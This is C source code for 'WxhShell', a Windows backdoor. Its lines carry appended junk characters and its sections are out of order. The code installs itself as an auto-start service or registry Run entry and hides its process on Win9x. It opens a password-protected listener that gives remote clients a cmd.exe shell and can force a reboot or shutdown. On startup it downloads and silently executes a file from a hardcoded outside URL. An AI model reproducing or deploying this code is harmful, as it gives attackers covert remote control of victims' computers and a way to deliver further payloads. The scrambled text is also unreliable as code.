    if(Boot(SHUTDOWN)) B~jl1g|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E`u=$~K  
    else { ,DXNq`24  
    closesocket(wsh); &>*f J  
    ExitThread(0); wu/]M~XwI  
    } 2}b1PMpZG  
    break; >m44U 9   
    } [@uL)*o_#  
  // 获取shell 8e[kE>tS._  
  case 's': { `GqS.O}C  
    CmdShell(wsh); t?QR27cs$  
    closesocket(wsh); ,Hch->?Og  
    ExitThread(0); u6awcn  
    break; |Y0BnyGK  
  } kbM4v G  
  // 退出 {%N*AxkvId  
  case 'x': { 7t0\}e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R1{ "  
    CloseIt(wsh); sn}U4=u  
    break; vd9l1"S  
    } `~(KbH=]  
  // 离开 ;rV0  
  case 'q': { do+HPnfDzU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); tceQn ^|<  
    closesocket(wsh); 5m=3{lBi  
    WSACleanup(); *&% kkbA  
    exit(1); 8ooj)  
    break; qyP@[8eH  
        } TStu)6%`  
  } TsfOod   
  } P%ev8]2  
6wqq"6w  
  // 提示信息 b U-Cd  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \3O#H  
} =V/$&96Q  
  } <&t^&6k  
}ytc oIuLf  
  return; m!$"-nh9  
} K0g<11}(Yg  
HulN84  
// shell模块句柄 Hhx<k{B@7  
int CmdShell(SOCKET sock) ,fT5I6l  
{ ,xn+T)2I  
STARTUPINFO si; iRPt0?$  
ZeroMemory(&si,sizeof(si)); Q|"{<2"]U0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cPPE8}PVH  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1Ty{k^%  
PROCESS_INFORMATION ProcessInfo; `N_NzH  
char cmdline[]="cmd"; o/CSIvz1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;Tvy)*{  
  return 0; oi::/W|A+  
} p6A"_b^  
]O,!B''8k  
// 自身启动模式 y4/>3tz;  
int StartFromService(void) DHaSBk  
{ HZ>Xm6DnC5  
typedef struct +s V$s]U  
{ R1! {,*Gy  
  DWORD ExitStatus; 2(\~z@g  
  DWORD PebBaseAddress; CGbW] D$@  
  DWORD AffinityMask; vAy`8Q  
  DWORD BasePriority; VWI|`O.w  
  ULONG UniqueProcessId; "o*F$7D!  
  ULONG InheritedFromUniqueProcessId; >wNE!Oa*B  
}   PROCESS_BASIC_INFORMATION; L @_IGH  
q-KN{y/  
PROCNTQSIP NtQueryInformationProcess; w5b D  
TlYeYN5V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y@c! \0e$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DQ?'f@I&*  
erdWGUfQOe  
  HANDLE             hProcess; r\F`xtR(  
  PROCESS_BASIC_INFORMATION pbi; x&8HBF'  
S =U*is  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j I_TN5  
  if(NULL == hInst ) return 0; N>z_uPy{A  
zRx-xWo  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [@eNb^ R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zb OEF  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2~<?E`+  
LR@rn2Z  
  if (!NtQueryInformationProcess) return 0; -|~6Zf"  
DDwH9*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4l@*x^F  
  if(!hProcess) return 0; ?}D@{%O3T  
w-Y-;*S  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ZL:nohB  
+Tf,2?O  
  CloseHandle(hProcess); : tu6'X\k  
=nh/w#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &y[Od{=  
if(hProcess==NULL) return 0; wcspqC"_  
(%rO'X  
HMODULE hMod; qSlC@@.>  
char procName[255]; ]S[M]-I  
unsigned long cbNeeded; 6#MIt:#  
6 wYd)MDLL  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lM3UjR|@  
q~^Jd=cB\  
  CloseHandle(hProcess); bJ*jJl x  
oP$NTy[  
if(strstr(procName,"services")) return 1; // 以服务启动 X2 c<.  
_8vq]|rC  
  return 0; // 注册表启动 5}x^0 LY  
} w^s|YF=c  
_n,Ye&m  
// 主模块 zqh.U @  
int StartWxhshell(LPSTR lpCmdLine) N?eWf +C  
{ Qr6[h!  
  SOCKET wsl; z4D[>2*  
BOOL val=TRUE; EJ;:O1,6H  
  int port=0; 5`53lK.C  
  struct sockaddr_in door; qgbp-A!2zF  
<Td4 o&JR  
  if(wscfg.ws_autoins) Install(); 2>80Qp!xO  
@" UoQ_h%  
port=atoi(lpCmdLine); HFu#-}iNV  
hF"yxucj$  
if(port<=0) port=wscfg.ws_port; D4g$x'  
dE=4tqv-r  
  WSADATA data; H4ml0SS^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9XImgeAs  
NRe{0U}nO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )mT{w9u  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); paF$ o6\  
  door.sin_family = AF_INET; 2 1.;lj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w[~O@:`]<o  
  door.sin_port = htons(port); 81u}J9z;  
p^_2]%,QeM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hg_@Ui@[z  
closesocket(wsl); 9!6sf GZ  
return 1; wWB-P6  
} :8cp]v dW  
i1e|UR-wl  
  if(listen(wsl,2) == INVALID_SOCKET) { bnt>j0E  
closesocket(wsl); y=_8ae}aD~  
return 1; Q%o:*(x[O  
} w#_/CU L  
  Wxhshell(wsl); PTfTT_t  
  WSACleanup(); ]|ew!N$ar=  
. Xn w@\k'  
return 0; 8x#SpDI  
5TqB&GP0  
} :QT0[P5O  
0l=g$G \%  
// 以NT服务方式启动 p0U4#dD6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^vPM\qP#g  
{ tu8n1W  
DWORD   status = 0; l ?RsXC  
  DWORD   specificError = 0xfffffff; \_;z m+ <{  
^iAOz-H  
  serviceStatus.dwServiceType     = SERVICE_WIN32; pT\>kqmj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zRSIJ!A~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %g1:yx  
  serviceStatus.dwWin32ExitCode     = 0; 'yd<<BM`  
  serviceStatus.dwServiceSpecificExitCode = 0; 4+qoq$F</  
  serviceStatus.dwCheckPoint       = 0; >_ bH ,/D'  
  serviceStatus.dwWaitHint       = 0; T{-<G13  
kXK D>."E*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ltRvNXx+]  
  if (hServiceStatusHandle==0) return; f mu `o-  
FMMQO,BU  
status = GetLastError(); ?UCK  
  if (status!=NO_ERROR) T<1* R>el  
{ BM9J/24  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; y ,e# e`  
    serviceStatus.dwCheckPoint       = 0; / qp)n">  
    serviceStatus.dwWaitHint       = 0; nA$zp  
    serviceStatus.dwWin32ExitCode     = status; %2>ya>/M  
    serviceStatus.dwServiceSpecificExitCode = specificError; YBb%D  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @k~'b  
    return; {+r0Nikx_  
  } ?hu}wl)  
*\ZK(/V  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Nr 5h%<` I  
  serviceStatus.dwCheckPoint       = 0; 3.,O7 k7y  
  serviceStatus.dwWaitHint       = 0; X/Umfci  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l'TM^B)`c  
} Al&)8x{p  
O]&DDzo  
// 处理NT服务事件,比如:启动、停止 M_asf7|v  
VOID WINAPI NTServiceHandler(DWORD fdwControl) kH:! 7L_=  
{ E{+V_.tlu  
switch(fdwControl) !;EG<ji,gj  
{ do0;"O0 (  
case SERVICE_CONTROL_STOP: |]FJfMX  
  serviceStatus.dwWin32ExitCode = 0; pV`?=[h9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; N0TEVDsk  
  serviceStatus.dwCheckPoint   = 0; 9,8}4Y=GVI  
  serviceStatus.dwWaitHint     = 0; 92zo+bc  
  { =To}yJ#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,FWC|uM"  
  } AY3nQH   
  return; R)4L]ZF  
case SERVICE_CONTROL_PAUSE: RE~:+.eB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \H <k  
  break; Y v22,|:  
case SERVICE_CONTROL_CONTINUE: X@`kuWIUw  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ZmM/YPy  
  break; mc37Y.  
case SERVICE_CONTROL_INTERROGATE: b3Nr>(Z<}  
  break; 6XU1w  
}; 8JYF0r7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \Eqxmo  
} %C}TdG(C  
`x%( n@g  
// 标准应用程序主函数 c~j")o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !\D[lh}rL  
{ <i}lP/U  
8bl&-F `  
// 获取操作系统版本 0V:7pSC{P  
OsIsNt=GetOsVer(); F/1B>2$`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); R Ptc \4  
(vL-Z[M!  
  // 从命令行安装 H#yBWvj*H  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,D#ssxV  
II(7U3  
  // 下载执行文件 X'BFR]cm  
if(wscfg.ws_downexe) { ca~nfo  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t\& u  
  WinExec(wscfg.ws_filenam,SW_HIDE); c*iZ6j"iI  
} w,uyN  
H<6TN^  
if(!OsIsNt) { )<Cf,R  
// 如果时win9x,隐藏进程并且设置为注册表启动 ean_/E  
HideProc(); K7o!,['W  
StartWxhshell(lpCmdLine); `` !BE"yN  
} _; 7{1n  
else #9=as Y  
  if(StartFromService()) ib$_x:OO"  
  // 以服务方式启动 lN@SfM4\  
  StartServiceCtrlDispatcher(DispatchTable); ;fg8,(SM^  
else l]:nncpns  
  // 普通方式启动 2|2'?  
  StartWxhshell(lpCmdLine); kY e3A &J  
(- ]A1WQ?  
return 0; ?;{ d  
} %qN_<W&Ze  
% Q| >t~  
Pr|:nJs  
oaxCcB=\  
=========================================== k{M4.a[(  
53vnON#{*  
6;|6@j  
"DWw]\xO](  
yWsJa)e3*@  
uU+R,P0  
" kH&KE5  
(~}P.?C8  
#include <stdio.h> G:u-C<^'  
#include <string.h> os<YfMM<:/  
#include <windows.h> /E(319u_  
#include <winsock2.h> mPhrMcL  
#include <winsvc.h> Ab| t E5%  
#include <urlmon.h> bf#@YkE  
q#}#A@Rg  
#pragma comment (lib, "Ws2_32.lib") heLWVI[so  
#pragma comment (lib, "urlmon.lib") x d9+P  
-1~-uE.~4d  
#define MAX_USER   100 // 最大客户端连接数 CC8M1iW3  
#define BUF_SOCK   200 // sock buffer Nd5G-eYI  
#define KEY_BUFF   255 // 输入 buffer km%c0:  
'*`25BiQ  
#define REBOOT     0   // 重启 w]<a$C8*y:  
#define SHUTDOWN   1   // 关机 OHEl.p]|  
G {wIY"~4  
#define DEF_PORT   5000 // 监听端口 960[.99  
ar+ j`QIe  
#define REG_LEN     16   // 注册表键长度 rt5FecX\  
#define SVC_LEN     80   // NT服务名长度 c,wYXnJ_t  
&Nzq/~uqP  
// 从dll定义API NI^=cN,l  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !|\$|m<n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); rGNYu\\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); % ~!A,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2h_XfY'3pX  
P1gW+*?  
// wxhshell配置信息 YU*u!  
struct WSCFG { QL_vWG -  
  int ws_port;         // 监听端口 xEULV4Qw  
  char ws_passstr[REG_LEN]; // 口令 @/(\YzQvp]  
  int ws_autoins;       // 安装标记, 1=yes 0=no `a$c6^a  
  char ws_regname[REG_LEN]; // 注册表键名 H%`$@U>  
  char ws_svcname[REG_LEN]; // 服务名 Nft~UggK  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 G=1&:nW'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !xqy6%p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 NVt612/'7y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no EISgc {s  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3I}(as{Rp  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *9XKkR<r  
MKl`9 Y3Ge  
}; CtEpS<*c  
TnuNoMD.  
// default Wxhshell configuration #o>~@.S#:0  
struct WSCFG wscfg={DEF_PORT, c8@zpkMj/  
    "xuhuanlingzhe", E:_m6 m  
    1, D'F j"&LK  
    "Wxhshell", 1KHFzx,  
    "Wxhshell", \3WF-!xe  
            "WxhShell Service", nM=5L:d  
    "Wrsky Windows CmdShell Service", s *8)|N  
    "Please Input Your Password: ", n8FmIoZ&`  
  1, x6h';W_ 8  
  "http://www.wrsky.com/wxhshell.exe", @pV~Q2%  
  "Wxhshell.exe" Lo<-;;vQ  
    }; vZ&{   
ZmXO3,sf)  
// 消息定义模块 *6C ]CS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?j'Nx_RoX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ht{Q=w/ 9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <6!;mb ;cX  
char *msg_ws_ext="\n\rExit."; 6k4ZzQ}  
char *msg_ws_end="\n\rQuit."; hggP9I :s,  
char *msg_ws_boot="\n\rReboot..."; zp4aiMn1F  
char *msg_ws_poff="\n\rShutdown..."; q=,  
char *msg_ws_down="\n\rSave to "; 6 h?v/\  
)\`.Ru~,  
char *msg_ws_err="\n\rErr!"; bjR:5@"  
char *msg_ws_ok="\n\rOK!"; Ba8 s  
3dl#:Si  
char ExeFile[MAX_PATH]; ?3duW$`  
int nUser = 0; Ro2Ab^rQ|  
HANDLE handles[MAX_USER]; fRt`]o:Om  
int OsIsNt; Ad:}i9-x  
D  ,U#z  
SERVICE_STATUS       serviceStatus; 8LPvb#9=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c[E "  
6_&uYA<8pE  
// 函数声明 b +4x2{  
int Install(void); t7P[^f15[  
int Uninstall(void); @P'("qb~  
int DownloadFile(char *sURL, SOCKET wsh); -;1nv:7Z3  
int Boot(int flag); qV7F=1k]  
void HideProc(void); Vf V|fuW  
int GetOsVer(void); 7NFRCCXHQ  
int Wxhshell(SOCKET wsl); X2[d15!9  
void TalkWithClient(void *cs); 2HX#:y{\l  
int CmdShell(SOCKET sock); i".nnAI:  
int StartFromService(void); )j_Y9`R  
int StartWxhshell(LPSTR lpCmdLine); [& d"Z2gK  
u/ Gk>F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \>G:mMk/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0#/NZO  
U!TSAg21P  
// 数据结构和表定义 crDm2oA~t  
SERVICE_TABLE_ENTRY DispatchTable[] = R(1N]>  
{ rLKwuZ  
{wscfg.ws_svcname, NTServiceMain}, *LZB.84  
{NULL, NULL} `[(.Q  
}; .='hYe.  
"0V8i%a  
// 自我安装 m4m,-}KNi  
int Install(void) <N~&Leh  
{ -W\1n#J  
  char svExeFile[MAX_PATH]; &{R]v/{p]  
  HKEY key; SK]"JSY`  
  strcpy(svExeFile,ExeFile); s(?A=JJ  
4nz$J a)  
// 如果是win9x系统,修改注册表设为自启动  {F'~1qf  
if(!OsIsNt) { 1y{@fg~..  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y@'~fI!E4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,,Ia4c  
  RegCloseKey(key); =qNZ7>Qw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o9JZ -biH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iD(+\:E  
  RegCloseKey(key); #;lB5) oe  
  return 0; &Sr7?u`k  
    } U4.- {.  
  } Kqn{q4L  
} d%(4s~y  
else { !iHJ!  
Z37%jdr  
// 如果是NT以上系统,安装为系统服务 l`b%imX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); aSEzh7 8  
if (schSCManager!=0) xU LcS :Q  
{ ^}{`bw{  
  SC_HANDLE schService = CreateService ]nQC  
  ( DxvD 1u   
  schSCManager, <uf,@N5m  
  wscfg.ws_svcname, hLo>jE  
  wscfg.ws_svcdisp, AnW72|=A(  
  SERVICE_ALL_ACCESS, .~C[D T+,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , nuucYm%IF-  
  SERVICE_AUTO_START, !]l!I9  
  SERVICE_ERROR_NORMAL, )zMsKfQ  
  svExeFile, |9;MP&68  
  NULL, Y2 oN.{IH  
  NULL, _yu_Ev}R  
  NULL, Mv1V Vk  
  NULL, 1=^edQ+   
  NULL BIn7<.&  
  ); ;XDGlv%  
  if (schService!=0) OGGuVY  
  { *B0 7-  
  CloseServiceHandle(schService); +]*hzWbe  
  CloseServiceHandle(schSCManager); vUD>+*D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); k0>]7t$L  
  strcat(svExeFile,wscfg.ws_svcname); 8)m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { wF.S ,|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *D:"I!Ho  
  RegCloseKey(key); _c@k>"_{S  
  return 0; :OC(93d)0  
    } 2`V[Nb  
  } yu9 8d1  
  CloseServiceHandle(schSCManager); .8~zgpK  
} PpWn+''M  
} ,enU`}9V*  
=AVr<kP  
return 1; XT<{J8 0z  
}  cq,8^o&  
<ZwmXD.VD  
// 自我卸载 Rct=v DU  
int Uninstall(void) zjlo3=FQX[  
{ G8hq;W4@]/  
  HKEY key; c)Ep<W<r1  
.KX LWH  
if(!OsIsNt) { d~za%2{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Yd>ej1<  
  RegDeleteValue(key,wscfg.ws_regname); Xt%>XP  
  RegCloseKey(key); e nw7?|(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3w!,@=.q  
  RegDeleteValue(key,wscfg.ws_regname); >ZjGs8&  
  RegCloseKey(key); C0#"U f  
  return 0; YgCSzW&(  
  } cd-; ?/  
} 9?i~4&EY  
} "i1r9TLc  
else { NkYU3[m$v  
>}|Vmy[/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,K 1X/),  
if (schSCManager!=0) |.;LI= CT  
{ IHaNg K2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); S1Ql%Yk-(  
  if (schService!=0)  1(*Pa  
  { SGA!%=Lp  
  if(DeleteService(schService)!=0) { ^Ss4<  
  CloseServiceHandle(schService); r!WXD9#  
  CloseServiceHandle(schSCManager); etD8S KD  
  return 0; $ri'tJ+  
  } dxwH C\"5  
  CloseServiceHandle(schService); jxdxIkAHZc  
  } 7O^'?L<C'  
  CloseServiceHandle(schSCManager); )gb gsQZ  
} k2t#O%_f  
} 50 VH>b_  
*E1v  
return 1; J[7|Ul1 <  
} {I"`(  
9! 6\8  
// 从指定url下载文件 mO~A}/je  
int DownloadFile(char *sURL, SOCKET wsh) 6d%'>^`(o-  
{ [T>a}}@  
  HRESULT hr; |8<P%:*N  
char seps[]= "/"; 0//B+.#  
char *token; tc4"huG  
char *file; TLC&@o :  
char myURL[MAX_PATH]; #5a'Z+  
char myFILE[MAX_PATH]; l;'#!hC)  
p#6V|5~8  
strcpy(myURL,sURL); d%C :%d  
  token=strtok(myURL,seps); Ad'b{C%  
  while(token!=NULL) RbA.%~jjx*  
  { ;+W9EbY2  
    file=token; ;xMieqz  
  token=strtok(NULL,seps); SWZA`JVK  
  } -0R;C`(!  
r@9qjva  
GetCurrentDirectory(MAX_PATH,myFILE); yccF#zU  
strcat(myFILE, "\\"); \Tii S  
strcat(myFILE, file); 4Bc<  
  send(wsh,myFILE,strlen(myFILE),0); %J%ZoptY:  
send(wsh,"...",3,0); 8/16<yZ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &:MfLD J  
  if(hr==S_OK) $4Ko  
return 0; F>!gwmn~  
else Mq [|w2.  
return 1; `E4OgO  
wn-{V kpm  
} $,v[<T`  
!(L\X'jH  
// 系统电源模块 ulzQ[?OMl  
int Boot(int flag) oPVyLD  
{ D3i`ehh  
  HANDLE hToken; 5lp};  
  TOKEN_PRIVILEGES tkp; IQ3]fLb  
R]8^ @i1  
  if(OsIsNt) { $k= 5nJ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); SF#Rc>v  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I X]K "hT  
    tkp.PrivilegeCount = 1; +CF"Bm8@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -'jPue2\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :lGH31GG  
if(flag==REBOOT) { 2-#:Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <Z6tRf;B  
  return 0; Pu-/*Fx  
} qV`JZ\n  
else { `OP?[ f d  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?*ni5\y5o  
  return 0; sKLH.@  
} S7 _^E  
  } ^3:y<{J  
  else { 5f'<0D;K  
if(flag==REBOOT) { 3jG #<4;J  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yk<$XNc  
  return 0; PiTe/  
} _ o-lNt+  
else { :a#p zEK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tEE1`10Mt  
  return 0; Bt\z0*t=s  
} i8Y$cac!  
} q%Fc?d9  
Ad@Odx=o*R  
return 1; y?1<7>L5~  
} =cN! h"C[  
_=\=oC  
// win9x进程隐藏模块 /e0cx:.w  
void HideProc(void) \h&ui]V  
{ :1O1I2L0  
0-9.u`)#yu  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z;XiA<|  
  if ( hKernel != NULL ) AvNU\$B4aG  
  { |y*-)t  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *i>?YT  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $^1L|KgXp  
    FreeLibrary(hKernel);  KOQ9K  
  } DIU9Le  
eyLVu.  
return; +uY)MExs2  
} 7?O~3  
s?2DLXv}!  
// 获取操作系统版本 m@_m"1_;  
int GetOsVer(void) lv* fK  
{ V>2mz c  
  OSVERSIONINFO winfo; /#,3JU$w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); C<?Huw4R0  
  GetVersionEx(&winfo); O!c b-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Qf}^x9'  
  return 1; clwJ+kku@  
  else sMikTwR/^  
  return 0; O73 /2=1V  
} fzVU9BU  
ZPISclSA+  
// 客户端句柄模块 \\WIu?  
int Wxhshell(SOCKET wsl) p`i_s(u  
{ ,z1fiq  
  SOCKET wsh; DG&[.dR+  
  struct sockaddr_in client; JvZNr?_w%  
  DWORD myID; Jrkj foN  
D3>;X=1  
  while(nUser<MAX_USER) j+_pF<$f:  
{ 4&+;n[D  
  int nSize=sizeof(client); B:pIzCP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2+Tu"oG;rB  
  if(wsh==INVALID_SOCKET) return 1; 0{ O|o_  
j9=QOq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %qM3IVPK)q  
if(handles[nUser]==0) sZ,mRT  
  closesocket(wsh); NNt,J;  
else >+ZD 6l/  
  nUser++; _(q|W3  
  } N1LZXXY{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ':v@Pr|  
G\?q{  
  return 0; ZN:~etd  
} ET&Q}UOE  
^:0e pj7  
// 关闭 socket <u"h'e/oW_  
void CloseIt(SOCKET wsh) U1>VKP;5Nn  
{ e(^\0=u<  
closesocket(wsh); '~1uJ0H  
nUser--; Q6?}/p  
ExitThread(0); vIoV(rc+  
} _TRO2p0  
c==` r C  
// 客户端请求句柄 6L~tUe.G  
void TalkWithClient(void *cs) |Q'l&Gt6  
{ @Ik@1  
4}~zVT0'~  
  SOCKET wsh=(SOCKET)cs; U*Hw t\  
  char pwd[SVC_LEN]; f&\v+'[p  
  char cmd[KEY_BUFF]; -}Jf4k#G  
char chr[1]; )7e[o8O_6  
int i,j; H nRd  
0wmz2zKV  
  while (nUser < MAX_USER) { bIP'(B#1K  
ZjE!? '(ef  
if(wscfg.ws_passstr) {  4I> I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |$r|DX1[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;btH[a iV  
  //ZeroMemory(pwd,KEY_BUFF); z k[%YG&  
      i=0; DO!?]"  
  while(i<SVC_LEN) { 31n5n  
S=^a''bg  
  // 设置超时 S)@95pb  
  fd_set FdRead; cNW [i"  
  struct timeval TimeOut; P8JN m"C  
  FD_ZERO(&FdRead); 0@9.h{s@  
  FD_SET(wsh,&FdRead); uM8YY[b  
  TimeOut.tv_sec=8; 5"Ibm D>D  
  TimeOut.tv_usec=0; XeaO,P  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  !,*#e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7kBULeBn|  
u"%i3%Yjh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kQR kby  
  pwd=chr[0]; K#=)]qIk  
  if(chr[0]==0xd || chr[0]==0xa) { HS|X//]  
  pwd=0; N{]|!#  
  break; 4JTFdbx  
  } f!`,!dZgkd  
  i++; 4MVa[ 0Y  
    } <uugT9By  
2VOdI  
  // 如果是非法用户,关闭 socket (9N75uCa  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wn'_;0fg  
}  *q8L$D  
.TN9N  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hi>sDU< x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <}c`jN!z.  
W9{>.E?  
while(1) { F<y5zqGy@  
ELp @/c=Wr  
  ZeroMemory(cmd,KEY_BUFF); 2WjQ-mM#  
eD0Rv0BV^  
      // 自动支持客户端 telnet标准   lO-:[@  
  j=0; *pMgjr  
  while(j<KEY_BUFF) { 9w -t9X>X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `}s$cgEG  
  cmd[j]=chr[0]; t@Qs&DZ7k  
  if(chr[0]==0xa || chr[0]==0xd) { G[YbgG=9Y  
  cmd[j]=0; Rx$5#K!%M  
  break; ,zy4+GW  
  } xz FV]  
  j++; Go}C{(4T  
    } I$4GM  
_LV;q! /j  
  // 下载文件 =Tf uwhV  
  if(strstr(cmd,"http://")) { Q(-:)3g[aL  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^ ~HV`s  
  if(DownloadFile(cmd,wsh)) m8F-#?~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (hefpqpi  
  else #\G{2\R  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g?ID}E ~<  
  } VJMn5v[V  
  else { L;=<d  
Gw6*0& 3')  
    switch(cmd[0]) { JVAJL q  
